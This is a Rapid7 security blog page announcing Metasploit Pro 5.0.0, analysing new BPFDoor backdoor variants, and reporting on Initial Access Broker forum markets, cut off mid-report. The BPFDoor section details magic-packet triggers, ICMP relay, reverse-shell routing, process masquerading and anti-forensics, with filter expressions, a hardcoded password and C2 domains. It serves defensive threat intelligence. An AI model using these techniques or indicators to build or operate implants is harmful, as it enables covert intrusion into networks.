We’re excited to announce the launch of Metasploit Pro 5.0.0, a major evolution in red-team and penetration testing. Built to address today’s dynamic threat landscape, this release delivers a significantly improved UI, usability, validation, and workflow improvements that empower security teams to validate vulnerabilities faster and more effectively. Learn more in our blog post here.

newly-designed-metasploit-interface.png
Newly designed interface of Metasploit Pro

We’re just getting started

The innovation doesn’t stop here. We have a strong pipeline of product enhancements and new capabilities rolling out all year long. Be sure to follow our blog and release notes to see how Rapid7 continues to advance our platform and deliver greater value.

New Whitepaper: Stealthy BPFDoor Variants are a Needle That Looks Like Hay

2 April 2026 at 09:00

Executive Overview

Advanced persistent threats (APTs) are constantly and consistently changing tactics as network defenders plug holes in defenses. Static indicators of compromise (IoCs) for the BPFDoor have been widely deployed, forcing threat actors to get creative in their use of this particular strain of malware. What they came up with is ingenious.

New research from Rapid7 Labs has uncovered undocumented features leading to the discovery of 7 new BPFDoor variants: a stealthy kernel-level backdoor that uses Berkeley Packet Filters (BPFs) to inspect traffic from right inside the operating system kernel. This essentially creates a silent trapdoor that can be activated by a threat actor once a “magic packet” is tunneled via stateless protocols. The malware is then able to perfectly blend into the target environment, establishing nearly undetectable persistence in global telecom infrastructure.

Our latest research continues the narrative established in our blog BPFdoor in Telecom Networks: Sleeper Cells in the Backbone. It involves the analysis of nearly 300 samples and  identifies two primary new variants: httpShell and icmpShell. These variants represent a significant leap in operational security, utilizing stateless C2 routing and ICMP relay to bypass multi-million dollar security stacks.

Rapid7 detection and response strategy:

Rapid7 is actively tracking these variants to ensure our customers remain protected against this evolving threat through the following:

  • Intelligence Hub: Customers with access to Rapid7’s Intelligence Hub are receiving continuous updates, including the latest intelligence, YARA rules, and Suricata detection rulesets.

  • Actionable guidance: We have released a specialized triage script (rapid7_bpfdoor_check.sh) designed to identify both legacy and modern BPFDoor variants by inspecting active BPF filters and validating masqueraded processes.

  • Detection engineering: Our detection strategy focuses on structural header anomalies, such as hardcoded ICMP sequence numbers and invalid protocol codes, rather than transient payload content.

The strategic shift: Beyond legacy stealth

While BPFDoor has been active for years, its codebase has evolved significantly. The threat actor continues to incorporate minor features into the original codebase leaked in 2022, resulting in a "messy" but effective toolkit designed to hinder threat hunting. Given the significant code overlap among BPFDoor variants, we focused on the minor, easily overlooked details the TA (threat actor) added to the leaked codebase.

From memory to disk

Historically, BPFDoor was known for appearing "fileless" by executing from /dev/shm and deleting itself. However, modern endpoint detection and response (EDR) tools now flag processes running from deleted inodes in temporary filesystems. Recognizing this, the developers of the httpShell variant have eliminated the /dev/shm drop. The malware now resides on disk, using a single, hard-coded process name to blend in as a normal system daemon.

Technical analysis: httpShell vs. icmpShell

Our research unraveled several undocumented features (some of them were not documented for nearly 5 years), leading to the discovery of two primary variants: httpShell and icmpShell.

httpShell: The "Magic Ruler" of encapsulated traffic

The httpShell variant leverages kernel-level packet filters to perform validation across both IPv4 and IPv6 traffic. It uses HTTP-tunneling to extract hidden commands and features a newly discovered "Hidden IP" (HIP) field for dynamic routing.

  • Kernel-level decapsulation: By binding to all interfaces simultaneously, the malware forces the target’s own kernel to decapsulate complex carrier-grade tunnels like GRE or GTP. This allows the BPF filter to easily catch magic bytes hidden inside the inner packets.

  • The offset evasion: To survive enterprise proxies and WAFs that shift data positions, attackers use a mathematical padding scheme. They ensure their "9999" marker always lands exactly at the 26th byte offset of the inspected data, allowing the trigger to survive proxy headers.

  • IPv6 limitations: The filter assumes the UDP/TCP header starts exactly at byte 40 (standard empty IPv6 header). If an attacker includes IPv6 "Extension Headers," the payload is pushed further down, and the malware fails to wake up.

icmpShell: The dynamic PTY tunnel

Designed for heavily restricted environments, icmpShell tunnels interactive sessions entirely over ICMP.

  • PID-bound mutation: This variant injects a dynamic BPF filter into the kernel that binds specifically to the malware's runtime Process ID (PID). Because the PID changes with every execution, the required "magic knock" signature mutates dynamically, rendering static firewall rules useless.

  • Multi-mode execution: Beyond basic shells, it implements bidirectional ICMP tunnels, UDP and ICMP “hole-punching”, and RC4 encryption.

Both variants support relay over ICMP.

Stateless C2 and the "Hidden IP"

New-magic-packet-structure.png
Figure 1: New magic packet structure

The discovery of the magic_packet_v2 struct featuring the HIP (hidden ip field) used for relay purposes highlights the malware's operational maturity.

Dynamic C2 routing

One of the most elegant features is the use of a -1 flag (255.255.255.255) in the IP field of the magic packet structure.

  • Mechanism: If the flag is set, the malware ignores hardcoded IPs and sends its reverse shell back to the source IP found in the headers of the packet that woke it up.

  • Strategic purpose: This makes the attacker's controller completely stateless. Attackers can deploy from behind NAT or VPNs without needing to discover or hardcode their current external IP into the magic payload.

ICMP lateral movement (the relay)

if (auth(mpacket->pass) || mpacket->hip == -1 || !mpacket->hip)

When the above "Gatekeeper Condition" (authentication) is false, the malware transforms the infected machine into an invisible network router.

ICMP-relay-using-HIP-field.jpg
Figure 2: ICMP relay using the HIP field

  • The process: It extracts an internal target IP from the HIP field, rewrites the trigger flag to ICMP magic bytes (0x5572), and fires a crafted ICMP Echo Request at the internal target.

  • Loop prevention: The malware wipes the hop IP to -1 to stop the next BPFDoor instance from forwarding the packet again.

Rapid7-icmpshell-main-logic-chart.png
Figure 3: icmpShell main logic

Rapid7 set up a playground lab to test icmpShell. For this scenario, two docker containers simulating an nginx edge proxy and a victim HSS infected with icmpShell have been used, while the attacker executes the trigger sending the magic packet via the newly discovered Rapid7 BPFDoor controller. To interact with the shell we developed the python script icmpshell.py to ensure RC4 state is consistent across echo requests received on the attacker’s side, filtering out also heartbeat echo requests featuring an invalid ICMP code 1.

In the bottom-right pane of the video below, we see the icmpShell variant being run with strace to debug its behavior. The top-left shows the controller triggering the backdoor after entering the new “icmp” password and crafting a magic packet over HTTPS (we will break down HTTPS tunneling and the new Rapid7 controller in a future blog) using magic bytes 0x5293. On the bottom-left pane the icmpshell.py runs to perform the ICMP handshake and handle shell traffic.  The connection over ICMP established between the attacker machine (REMnux) and the victim HSS leverages a second BPF filter (13-BPF instructions), installed by the backdoor that uses the reverse shell PID as a fixed ICMP ID, ensuring the capture of shell-related packets. On the upper-right pane, an ICMP tcpdump capture is run.

The video ends showing that the backdoor exits after 12s of attacker inactivity, killing the connection. The tcpdump capture shows attacker traffic being sent in cleartext prepending ‘X:’ to commands while the victim response is RC4 encrypted with the key “icmp”.

Below, we can observe the tcpdump screens highlighting ICMP handshake, shell’s data encryption, attacker’s command and the usage of 1234 ICMP sequence number hardcoded in the backdoor.

Rapid7-icmpShell-encryption-decryption-flow-chart.jpg
Figure 4: icmpShell encryption/decryption flow

icmpShell-sending-initial-ICMP-hello.png
Figure 5: icmpShell sending initial ICMP hello “X:3458”

attacker-sending-cleartext-command-ICMP.png
Figure 6: attacker sending cleartext command over ICMP prepending “X:”

Figure 7 below shows the heartbeat payload ignored by icmpshell.py acting as an ICMP “hole-punching” to keep the firewall state table active.

ICMP-hardcoded-hole-punching-heartbeat-icmpshell.png
Figure 7: ICMP “hole-punching” heartbeat hardcoded in icmpShell

Rapid7 variants

The research of new variants is still ongoing. At the time of writing, Rapid7 identified seven new variants featuring new magic bytes and active C2 beaconing summarized below.

Samples 2cc90edd9bc085f54851bed101f95ce2bace7c9a963380cfd11ea0bc60e71e0c and de472ed37e33b79e1aa37e67a680ee3a9d74628438c209543a06e916a0a86fba, which we classify as R7 variant ‘F’, increase stealthiness by hiding under /var/run/user/0. By avoiding the usual chmod command, the attacker ensures that no "change mode" event is logged by the kernel's audit system (auditd). Since /run is rarely mounted with the noexec flag (unlike /tmp), the malware bypasses the most common local hardening measure.

BPFDoor-running-var-run-user-0.png
Figure 8: BPFDoor running from /var/run/user/0

Most samples simply redirect output to /dev/null. This variant goes further by performing a total FD (File Descriptor) wipe. Note the recurring timestomping routine following the old known anti-forensics technique.

Timestomping-full-fds-wipe.png
Figure 9: Timestomping and full fds wipe

R7 variant ‘F’ exhibits a 26-BPF instruction filter featuring new magic bytes. Rapid7 developed a tool to extract BPF bytecode logic and identify variant-specific features. Three samples employed previously unknown magic bytes. Below is the output summarizing the filtering logic (Figure 10: 2cc90edd9bc085f54851bed101f95ce2bace7c9a963380cfd11ea0bc60e71e0c

De472ed37e33b79e1aa37e67a680ee3a9d74628438c209543a06e916a0a86fba; Figure 11: 757e911edaf45cc135f2498c38d4db8acec39cb6aeb3a1dcc38305ab2d326fa9).

Rapid7-variant-F-new-magic-bytes.png
Figure 10: Rapid7 variant F new magic bytes

The BPF filtering can be expressed using libcap syntax:

udp[8:2] == 0x3182 or (icmp[8:2] == 0x1051 and icmp[icmptype] == icmp-echo) or tcp[((tcp[12]&0xf0)>>2):2] == 0x3321

R7-variant-F-new-magic-bytes.png
Figure 11: Rapid7 variant F new magic bytes

udp[8:2] == 0x2048 or (icmp[8:2] == 0x1155 and icmp[icmptype] == icmp-echo) or tcp[((tcp[12]&0xf0)>>2):2] == 0x5433

Earlier versions used SOCK_RAW when creating the AF_PACKET socket. When using SOCK_RAW, the kernel delivers the entire packet, including the link-layer header, while with SOCK_DGRAM the Ethernet header is discarded. This change directly impacts the way packets are parsed.

Multi-protocol parallel sniffing

One new variant sample, which we named variant ‘G’, utilizes a multi-threaded architecture to ensure triple-redundant capture of "wake-up" packets. The malware spawns three independent threads, each responsible for monitoring a specific transport protocol at the raw IP layer.

This is achieved by invoking the socket() system call with protocol-specific parameters for TCP, UDP, and ICMP:

  • TCP: socket(AF_INET, SOCK_RAW, IPPROTO_TCP)

  • UDP: socket(AF_INET, SOCK_RAW, IPPROTO_UDP)

  • ICMP: socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)

The implant achieves simultaneous trigger detection across three protocols by deploying identical BPF filters on protocol-specific raw sockets. This functionality is implemented using three separate threads for protocol capture. This design is crucial: By dedicating a thread to each protocol, the malware prevents high-volume traffic in one protocol from overloading the sniffer and causing it to miss a "magic" trigger arriving via a less-trafficked protocol.

Beyond preventing packet loss, this parallel architecture provides C2 resiliency via built-in fallback channels. Because the BPF filters concurrently sniff TCP, UDP, and ICMP, the threat actor becomes highly resilient to sudden perimeter security changes. If a network defender updates an egress firewall to aggressively block anomalous ICMP or UDP traffic, the attacker can seamlessly switch to sending magic triggers over TCP.

Some samples (Figure 12: ed768dd922742a597257ad684820d7562bb6be215710ec614bd041a22f3d6863) exhibit the usage of threads and a new mutex/process name being spoofed like “hpasmlited”:

hpasmlited-process-name-spoofing.png
Figure 12: hpasmlited process name spoofing

Then start_routine, sub_4089BB, sub_4084F7 proceeds with the old codebase installing the same BPF filter shared among TM variant D samples; this variant supports ICMP relay.

Below is shown the creation of three different kinds of sockets filtering traffic by TCP, UDP, and ICMP:

Creating-sockets-handling-TCP-UDP-ICMP.png
Figure 13: Creation of 3 sockets handling TCP, UDP, and ICMP

Note that a0t is an array containing three BPF filters, each of them containing the same 229 instructions found in TM variant D. 

HPE ProLiant-tuned variant: Living off the land

One variant  (Figure 14: 9ee77ed38e5bc69f841bdaba7c5e6c3bf30fd9ae94cd2e69f39834e9cec76e82) was specifically tailored for HPE ProLiant servers, demonstrating a "living off the land" approach through binary masquerading.

HPE-Insight-Management-Agents-spoofing.png
Figure 14: HPE Insight Management Agents spoofing

The process name is set to cmathreshd, with realistic flags like -p 5 -s OK, directly impersonating the HPE Insight Management Agents. The malware checks for /var/run/cma.lock. If found, it kills the legitimate HP agent and takes its place. This displacement prevents resource conflicts that would otherwise alert system administrators. The call to unsetenv("LD_PRELOAD") is designed to disable user-mode security hooks (such as local EDRs or rootkit hunters) that monitor system calls.
This specific masquerading tactic demonstrates deep environmental awareness. The threat actors recognize they are operating on physical, bare-metal HPE hardware commonly deployed in 4G and 5G core and edge systems (such as Ericsson-style architectures). 

The active beacon: Guaranteed persistence

Rapid7 variant ‘H’ contrasts with the classic, stealthy BPFDoor sniffer (which generates no outbound traffic). The beacon is proactive and provides guaranteed access by bypassing stateful firewalls that only permit outbound connections. It achieves this via a continuous heartbeat mechanism that resolves dynamic DNS domains, such as ntpussl.instanthq.com and ntpupdate.ddnsgeek.com. By masquerading as Network Time Protocol (NTP) over SSL, the threat actors seamlessly encapsulate their encrypted C2 sessions within what appears to be routine time synchronization or IoT telemetry. This 'hide in plain sight' tactic allows the active beacon to blend into the baseline network noise and establish a direct, unauthenticated connection on port 443 using the old-fashioned statically linked OpenSSL library and RC4-MD5 ciphersuite.

  • Heartbeat mechanism: The function actively attempts to resolve the hardcoded C2 domain ntpussl.instanthq.com using the gethostbyname() function. It runs in an infinite loop, attempting to connect if the domain resolves. If the connection fails, it sleeps for a random interval (1 to 2.5 minutes) before trying again — this acts as the Heartbeat.

  • Masquerading: The domain ntpussl.instanthq.com mimics NTP (Network Time Protocol) over SSL, blending into standard time-sync or certificate update traffic.

  • Activation kill switch: A "Kill Switch" or "Activation" check verifies the IP returned by the DNS query: if ( !strstr(v1, "127.0.0.1") ).

  • Direct connection: The malware connects to the resolved IP on port 443 (0x1BB) without requiring authentication.

Rapid7-variant-H-active-beaconing.png
Figure 15: Rapid7 variant H active beaconing (sample spoofing the HPEProliant cmathreshd)

Stack strings were employed to bypass basic static signature detection:

Screenshot_2026-04-02_at_9.35.09_AM.png
Figure 16: ca56622773c1b6f648b1578978b57aa668df25a11e0c782be008384a6af6c2c4

By encapsulating encrypted shell sessions within what appears to be routine time synchronization or IoT telemetry, the threat actors effectively bypass standard firewall rules. Below is the list of domains observed being used by Chinese TAs during espionage campaigns:

"Encrypted" Masquerade

  • Domain: ntpussl[.]instanthq.com

  • Function & analysis: Encrypted Shell/Tunneling. "ntpussl" recalls an ssl connection with an NTP server. (195b98211d1ce968669a0740ca08d0ddcf03a2df03a47e2e70550f6c002b49e8; 9ee77ed38e5bc69f841bdaba7c5e6c3bf30fd9ae94cd2e69f39834e9cec76e82).

"System Update" Disguise

  • Domain: ntpupdate.ddnsgeek[.]com
  • Function & analysis: Standard Utility Mimicry. This domain mimics the common ntpdate utility. The use of terms like "geek" or "update" is a social engineering tactic, as security analysts often overlook such domains, assuming they belong to benign OS background processes (ca56622773c1b6f648b1578978b57aa668df25a11e0c782be008384a6af6c2c4).

"Persistence" Disguise

  • Domain: ntpupdate.ygto[.]com
  • Function & analysis: Rapid IP Rotation. This domain is employed for dynamic DNS updates, enabling rapid IP rotation. If the primary C2 IP address is blocked, the attackers update the DDNS record at ygto.com to maintain command-and-control access.

"IoT/Camera" Disguise

  • Domain: ntpd.casacam[.]net
  • Function & analysis: Blending with residential traffic. Masquerades as a time check service for IP cameras. Since casacam.net is a legitimate DDNS provider for DVRs, traffic to this domain easily blends into the millions of devices monitored by telecom networks, especially in residential broadband environments.

Note: The domains ntpupdate.ygto[.]com and ntpd.casacam[.]net are involved in generic trojan/spam campaigns.

Rapid7 variants I,J,K and L

Rapid7 variant “I” uses an 11-instruction BPF filter targeting TCP port 9999, enforcing a two-step handshake, requiring firstly new magic bytes (0xA9F205C3) in the tcp payload, secondly the presence of a hardcoded magic password (dP7sRa3XwLm29E). Finally, it extracts the attacker’s IP and port to spawn an unencrypted reverse shell.

Rapid7 assigned icmpShell and httpShell variants the letters J,K respectively while the letter L is reserved for samples exhibiting only the ICMP relay feature. To summarize:

  • Variant J: ICMP relay + HTTP tunneling + icmpShell

  • Variant K: ICMP relay + HTTP tunneling

  • Variant L: ICMP relay

MITRE ATT&CK Matrix Mapping

Tactic: Execution

T1059.004: Unix Shell

  • Implementation details: Hijacks a pseudo-terminal (PTY) utilizing fork() and dup2().
  • Variation: Both

Tactic: Defense Evasion

T1036.004: Masquerading

  • Implementation details: Alters process arguments to mimic benign daemons like qmgr.
  • Variation: Both

T1070.003: Clear History

  • Implementation details: Injects HISTFILE=/dev/null into environment variables.
  • Variation: Both

T1027: Obfuscated Files Information

  • Implementation details: Stack strings for passwords and paths prevent static extraction.
  • Variation: Both

T1564: Hide Artifacts

  • Implementation details: Uses AF_PACKET sniffing to remain invisible to local netstat/ss.
  • Variation: Both

Tactic: Persistence

T1205: Traffic Signaling

  • Implementation details: Employs magic bytes and flags like 0xFFFFFFFF as wake-up triggers.
  • Variation: Both

Tactic: Command & Control

T1573.001: Symmetric Cryptography

  • Implementation details: e.g. Enforces the X: plaintext tag and encrypts the underlying PTY output via an RC4 cipher (using the hardcoded ICMP key).
  • Variation: Both

T1071.001: Application Layer Protocol

  • Implementation details: Blends in by utilizing formatted HTTP POST requests with hardcoded URIs up to 100-byte hexadecimal bodies.
  • Variation: httpShell

T1095: Non-App Protocol

  • Implementation details: Transmits exfiltration via crafted ICMP Echo Requests.
  • Variation: Both

T1090: Proxy

  • Implementation details: Uses ICMP relay to bounce traffic through internal segments.
  • Variation: Both

T1001: Data Obfuscation

  • Implementation details: icmpShell hides its tracking mechanisms directly inside the network layer headers. By truncating the Linux Process ID (PID) and injecting it into the 16-bit ICMP Identifier field, and hardcoding the ICMP Sequence Number to 1234, it obfuscates its session tracking data as standard network metadata.
  • Variation: icmpShell

T1572: Protocol Tunneling

  • Implementation details: ICMP tunneling
  • Variation: icmpShell

T1090: Proxy

  • Implementation details: The BPF filter concurrently sniffs TCP, UDP, and ICMP. If one protocol is blocked by egress filtering, the attacker can seamlessly utilize an alternate protocol to trigger the shell without reconfiguring the implant.
  • Variation: Both

Defensive depth and detection guidance

Detection must shift from looking for payload content to identifying structural anomalies and static protocol markers.

  • Suricata/NIDS focus: Target the hardcoded 1234 sequence number used in custom functions and the technically invalid ICMP Code 1 injected by the heartbeat thread.

  • Host monitoring: Monitor for processes whose executable path does not exist on disk and spoofed processes running as root (e.g., zabbix_agentd, dockerd).

  • Auditd rules: Monitor the creation of AF_PACKET sockets (capturing SOCK_RAW and SOCK_DGRAM) and the setsockopt call used to attach BPF filters.

  • Rapid7 triage script: Utilize the rapid7_bpfdoor_check.sh script to check for zero-byte mutex files and active BPF filters attached to packet sockets. Get the complete checklist at Rapid7’s github.

Final takeaways

  • Kernel-level evasion: The shift to SOCK_DGRAM allows the malware to simplify magic packet parsing by letting the host kernel decapsulate tunnels.

  • Layer 7 camouflage: Weaponized SSL termination and "magic ruler" padding ensure trigger bytes survive WAF/Proxy interference.

  • Deep-network lateral movement: The "Hidden IP" field transforms infected machines into invisible network routers for bidirectional ICMP PTY tunnels.

  • New Variants: the newly identified features in BPFDoor samples highlight how TAs are tailoring and reusing BPFDoor’s code to the target environment. The rapid7 variant H (active beacon) stands out as it tries to blend in with the network traffic contacting fake NTP update servers.

  • Operational security: The malware can instruct the infected node to spawn a shell to the source of the magic packet using the signed -1, without embedding the C2 or proxy IP in the packet payload. Furthermore, unlike httpShell, the icmpShell is designed to run without requiring live interaction as it terminates itself after 12s of inactivity, demonstrating how surgical and precise the TA intervention is when accessing the core of the backbone, achieving maximum stealthiness.

For an exhaustive deep dive of the assembly code, BPF bytecode, and exact packet structures used by icmpShell and httpShell variants, please refer to our technical whitepaper here. You can also view our on-demand webinar here.

Initial Access Brokers have Shifted to High-Value Targets and Premium Pricing

31 March 2026 at 09:00

Initial Access Brokers (IABs) are a key component of the cybercrime ecosystem, offering hassle-free building blocks for ransomware, data theft, and extortion. Rapid7’s analysis of H2 2025 activity across five major forums grants fresh insight into a power balance shift toward initial access sales from newer marketplaces, such as RAMP and DarkForums. Higher asking prices and more focus on high-value sectors and large organizations, such as Government, Retail, and IT, reveal a mature and profit-focused IAB market.

This blog highlights key access trends and pricing, pinpoints the most targeted industries and regions, and gives actionable recommendations for identifying and isolating potential breaches via popular IAB offerings.

Key findings

Our detailed analysis of six months of data from Exploit, XSS, BreachForums, DarkForums, and RAMP reveals the following key findings:

  • Access prices and target organization size increased dramatically: The average alleged victim revenue and offering base price have increased significantly compared to the previous year, indicating that IABs are targeting larger, higher-value enterprises and charging premium prices for quality access.

  • Primary access vectors haven’t changed: RDP, VPN, and RDWeb remain the top access vectors being offered for sale, which means that remote access infrastructure is still the primary attack surface for initial access sales. 

  • High-privilege access is increasingly prioritized: Most common privilege levels being offered by IABs are Domain User (42.9%), Domain Admin (32.1%), and Local Admin (12.5%), with a visible decline in lower-privilege offerings, such as Local User privileges. It seems the market is shifting from volume to high-impact access that enables faster and more efficient malicious operations, such as ransomware and extortion attacks.  

  • Certain underground marketplaces have become favored over others: DarkForums (221 threads) and RAMP (208 threads) were the most active forums for initial access sales in H2 2025, accounting together for 81% of the observed threads. At the same time, older, historically dominant forums such as XSS and Exploit saw significant declines in IAB activity. 

  • IABs target specific industries: IAB activity is primarily concentrated on sectors offering the highest potential for financial gain or intelligence acquisition: Government, Retail, and Information Technology (IT).

  • Focus on government access: The Government sector is the most frequently targeted industry vertical, at 14.2% (Retail and Information Technology follow with 13.1% and 10.8%, respectively). 'Admin panel' access is the most commonly observed type offered for this sector, with DarkForums serving as the principal platform for its sale.

IAB and cybercrime forum landscape in 2026

Just as in 2025, cybercriminal forums continue to serve as the primary marketplaces for the promotion and sale of pirated network access. Platforms such as Exploit, BreachForums, XSS, DarkForums, and RAMP have remained central pillars of the cybercriminal underground through 2025 and into 2026, despite sustained law-enforcement pressure, infrastructure seizures, and repeated cycles of disruption and rebirth. In response to the continued relevance, Rapid7 threat intelligence researchers expanded their monitoring to include all five forums, tracking activity from January through December 2025. The primary objective was to benchmark Initial Access Broker (IAB) activity and adjacent services, including an in-depth analysis of tactics, techniques, and procedures (TTPs), initial access vectors, credential and session pricing, victim geographies, and evolving monetization strategies.

Why cybercrime forums matter in 2026

We selected these five forums for their continued relevance, the concentration of experienced actors, and their distinct functional roles within the cybercriminal ecosystem. Collectively, they represent the full lifecycle of modern cybercrime from initial compromise and access brokerage to data monetization, extortion, and ransomware enablement. Despite repeated takedowns and administrator arrests, the past two years have demonstrated that forum resilience, brand persistence, and rapid reconstitution remain defining characteristics of the underground economy. Monitoring activity across these platforms, particularly from reputable, high-volume IABs and repeat sellers, provides critical insight into shifting attacker priorities, preferred access vectors, and pricing dynamics.

Exploit, XSS, DarkForums, BreachForums, and RAMP: Combined data analysis 

Last year, in The Rapid7 2025 Access Brokers Report, we analyzed the data of three main cybercrime forums, Exploit, XSS, and BreachForums. This year, we have expanded this list to include two additional (and very popular) forums, DarkForums and RAMP.

In fact, the newly analyzed forums were the most active in the past six months in terms of initial access and privileges offered for sale: DarkForums with 221 sale threads, followed by RAMP with 208, then Exploit with 53, Breached with 30, and XSS with 18. This might indicate a certain change in shifts in terms of popularity between the newer forums and the older ones.

image3.png

The average alleged revenue of the organizations whose access is being sold in these forums was $3.242 billion, and the average base price for the offerings was $113,275. However, it is important to keep in mind that victim revenue numbers are broker-provided based on their own online research, and as such, they may not necessarily be accurate.

Both numbers manifest a substantial rise compared to last year (average revenue - $2.232 billion, average base price - $2,726), with the average base price of the offerings increasing by approximately 4055% compared to last year. Notably, these numbers are especially affected by DarkForums, with tremendously high values in both counts. They show that IABs have become more resourceful, finding weak spots in larger organizations, and also much greedier in terms of the price of their offerings.

Initial access vectors and privilege types

Analysis of the access types offered for sale revealed 29 distinct types of access. The most frequently advertised access types were RDP (21.2%, 91 offers), VPN (12.8%, 55 offers), and RDWeb (11.2%, 48 offers).

image5.png

The most common privilege types were Domain User with 144 instances (42.9%), followed by Domain Admin with 108 (32.1%) and Local Admin with 42 (12.5%).

image14.png

In many observed cases, VPN and RDWeb access are sold with the Domain User privilege, while RDP is sold with either Domain User or Domain Admin.

If we compare the numbers of the top 5 access types offered for sale to last year’s data, we can see that RDP access has become more prevalent than VPN, although both access types remain the leading two categories. In addition, it seems that RDweb is much more popular among the sellers.

image1.png

As for the privilege types, the clear dominance of the Domain User privilege offered for sale has declined, though it remains the most common privilege type sold by IABs. In addition, the newer dataset lacks any mentions of the Local User privilege. The data indicates a decline in the previously dominant Domain User access offering. Despite this decrease, Domain User access remains the most frequently sold privilege level among Initial Access Brokers (IABs). Notably, the updated dataset contains no instances of Local User privilege sales.

This shift likely reflects evolving IAB monetization strategies and changing buyer demand. While Domain User access remains valuable for its broad network reach, its reduced dominance may signal heightened market competition, stronger defensive controls, or strategic diversification into alternative access types. The complete absence of Local User privileges suggests diminishing operational relevance and limited resale value, as threat actors increasingly prioritize access that facilitates lateral movement, privilege escalation, and rapid operational impact.

image6.png

Additionally, in RAMP, we observed an exploit targeting a vulnerability in the Oracle E-Business Suite (CVE-2025-61882) being offered for sale.

image8.png

CVE-2025-61882 is a critical vulnerability in Oracle E-Business Suite (versions 12.2.3–12.2.14). This flaw allows unauthenticated attackers to execute arbitrary code via HTTP, resulting in complete system compromise.

The vulnerability has been exploited as a zero-day by the Cl0p criminal organization to exfiltrate financial and human resources data for subsequent extortion attempts, as documented in the Rapid7 blog.

Demographic information

A comprehensive analysis of the underground market for illicit network access points reveals that most available listings concern networks in the United States, totaling 155 unique listings. 

This substantial figure constitutes a significant 30.9% of the total global data on illicit network access available for purchase. The dominance of the U.S. in this domain suggests a confluence of factors, including the sheer size and connectivity of its network infrastructure, the high value associated with compromised U.S. enterprise and government networks, and the relative wealth of potential buyers seeking access to these environments. The visibility of U.S.-based access points on darknet marketplaces underscores a considerable vulnerability and highlights the attractiveness of U.S. targets to cybercriminal syndicates seeking initial access for subsequent malicious activities such as data exfiltration, ransomware deployment, or espionage.

image12.png

The top 10 targeted countries list is very similar to the one from last year, which also placed the United States at the top, with a large margin from the following countries (the United Kingdom, India, and Brazil).

In addition, an analysis of the offerings indicates a pronounced concentration on particular sectors. The government sector is the most frequently targeted category, accounting for 14.2% of the observed offerings, likely due to the substantial value of sensitive data held. The retail industry closely follows at 13.1%, attracting IABs due to the presence of payment card information (PCI) and personally identifiable information (PII). The Information Technology (IT) sector is the third most frequent target, at 10.8%, valued for its potential as a supply chain vector to compromise a wide range of clients.

This strategic focus on Government, Retail, and IT underscores the IAB community's prioritization of targets that promise the greatest financial return, intelligence acquisition, or potential for systemic disruption.

image11.png

Unlike the top 10 countries list, the top 10 targeted sectors list is very different from last year’s, which was dominated by the Financial Services and IT sectors, with few network access offerings from organizations in the Government and Retail sectors. This is likely due to the inclusion of DarkForums in this year’s analysis, which usually contain many sellers offering access to government networks.

image9.png

Individual analysis of Exploit, XSS, DarkForums, BreachForums, and RAMP

The following is a detailed, individual analysis of the five forums, covering their history, operations, and key trends from the latter half of 2025. This includes an examination of common illicit listings, typical base price ranges, and frequently targeted regions.

Exploit

Exploit has continued to function as one of the most technically rigorous Russian-language cybercrime forums. Historically focused on exploits, malware development, and high-end IAB offerings, Exploit has maintained a comparatively stable operational posture over the past two years. While selectively restricting access and tightening vetting following multiple international law enforcement takedowns of peer forums, Exploit has benefited from its long-standing reputation system and senior moderator structure. Between 2024 and 2026, it increasingly served as a venue for enterprise network access, VPN, and EDR-bypassed footholds, and post-exploitation tooling, rather than commodity credential sales.

Unlike last year’s offerings that focused on RDP access, the H2 2025 data shows that Exploit’s IABs are more focused on RDweb. The shift from RDP access to RDWeb access in H2 2025 is likely due to improved defenses against direct exposure to the RDP protocol. Faced with reduced capabilities to secure or remove RDP access points exposed to the internet, attackers are adapting by targeting RDWeb portals, which are often vulnerable and sometimes less well-protected. RDWeb offers reliable access to enterprise environments, making it an attractive alternative for initial access brokers. The United States remains the most targeted country, accounting for approximately 40% of cases in which the organization’s location is specified.

image7.png

Interestingly, while the average alleged revenue of the targeted organizations dropped from approximately $314 million to only $58 million, the base price of the offerings has gone 6 times higher than last year.

BreachForums (AKA Breached)

BreachForums has experienced the most visible volatility. Following multiple seizures and arrests in 2023–2024, the forum underwent several reboots under new administrators, each attempting to inherit the brand equity of the original platform. By 2025, BreachForums had largely reestablished itself as a data-leak-centric marketplace, with less emphasis on technical exploitation and a greater focus on breached databases, stealer logs, and extortion-related disclosure tactics. Trust erosion from repeated compromises, however, pushed higher-tier IABs and ransomware affiliates toward more closed or Russian-language platforms, reducing BreachForums’ role in elite access brokerage by 2026.

The precarious status of the Breached forum, as it is now called, is reflected by the number of IAB threads found this year (around 52% less than in 2024). This is likely due to the disappearance of very dominant players in the IAB community, such as IntelBroker (real name: Kai West), who was apprehended by law enforcement and charged in the U.S. with his crimes. Accordingly, the variety of access types was much more limited, dominated by remote code execution (RCE) and Shell access. However, unlike last year, which included only Domain Admin, this year we noticed additional privilege types offered: Domain User and Local Admin.   

image4.png

Just like in the other examined forums, the United States is the most targeted country (17.4%) in Breached, but by a substantially smaller percentage compared to last year.

As for the pricing, we see an opposite trend compared to Exploit - while the average alleged revenue of the targeted organizations has slightly increased in 2025, the base price of the offerings in Breached was cut in half.

XSS (formerly DaMaGeLaB)

XSS has retained its status as a premier Russian-language forum for initial access sales, ransomware partnerships, and credentialed access to corporate environments. Following intermittent downtime and administrator turnover in 2024, XSS emerged in 2025 with reinforced operational security practices and stricter membership controls. Over the past two years, XSS has increasingly served as a coordination hub for post-access collaboration, including handoffs between IABs, ransomware operators, and data theft specialists. Pricing trends observed on XSS indicate a shift toward higher-value, lower-volume access, particularly in Western enterprise environments.

Compared to last year's assessment, this forum showed the most significant shift. It went from being the most dominant forum for IAB threads to the lowest among the five forums we examined. In H2 of 2025, we only located around 20 threads (compared to almost 200 in 2024). This small number of threads makes XSS stats so statistically negligible as to be unanalyzable. This decline is likely due to many IABs shifting to newer, “shinier” cybercrime forums, such as DarkForums and RAMP. 

DarkForums

DarkForums rose to prominence as an English-language alternative following repeated disruptions to BreachForums. Between 2024 and 2026, DarkForums positioned itself as a hybrid marketplace, blending breach data sales, low- to mid-tier IAB offerings, and fraud services. While it lacks the technical depth of Exploit or XSS, DarkForums has become a key on-ramp for emerging actors, especially those operating stealer malware or reselling access obtained using phishing and MFA fatigue attacks. Its relatively open registration model has resulted in higher signal-to-noise ratios, but it remains valuable for tracking early-stage monetization trends.

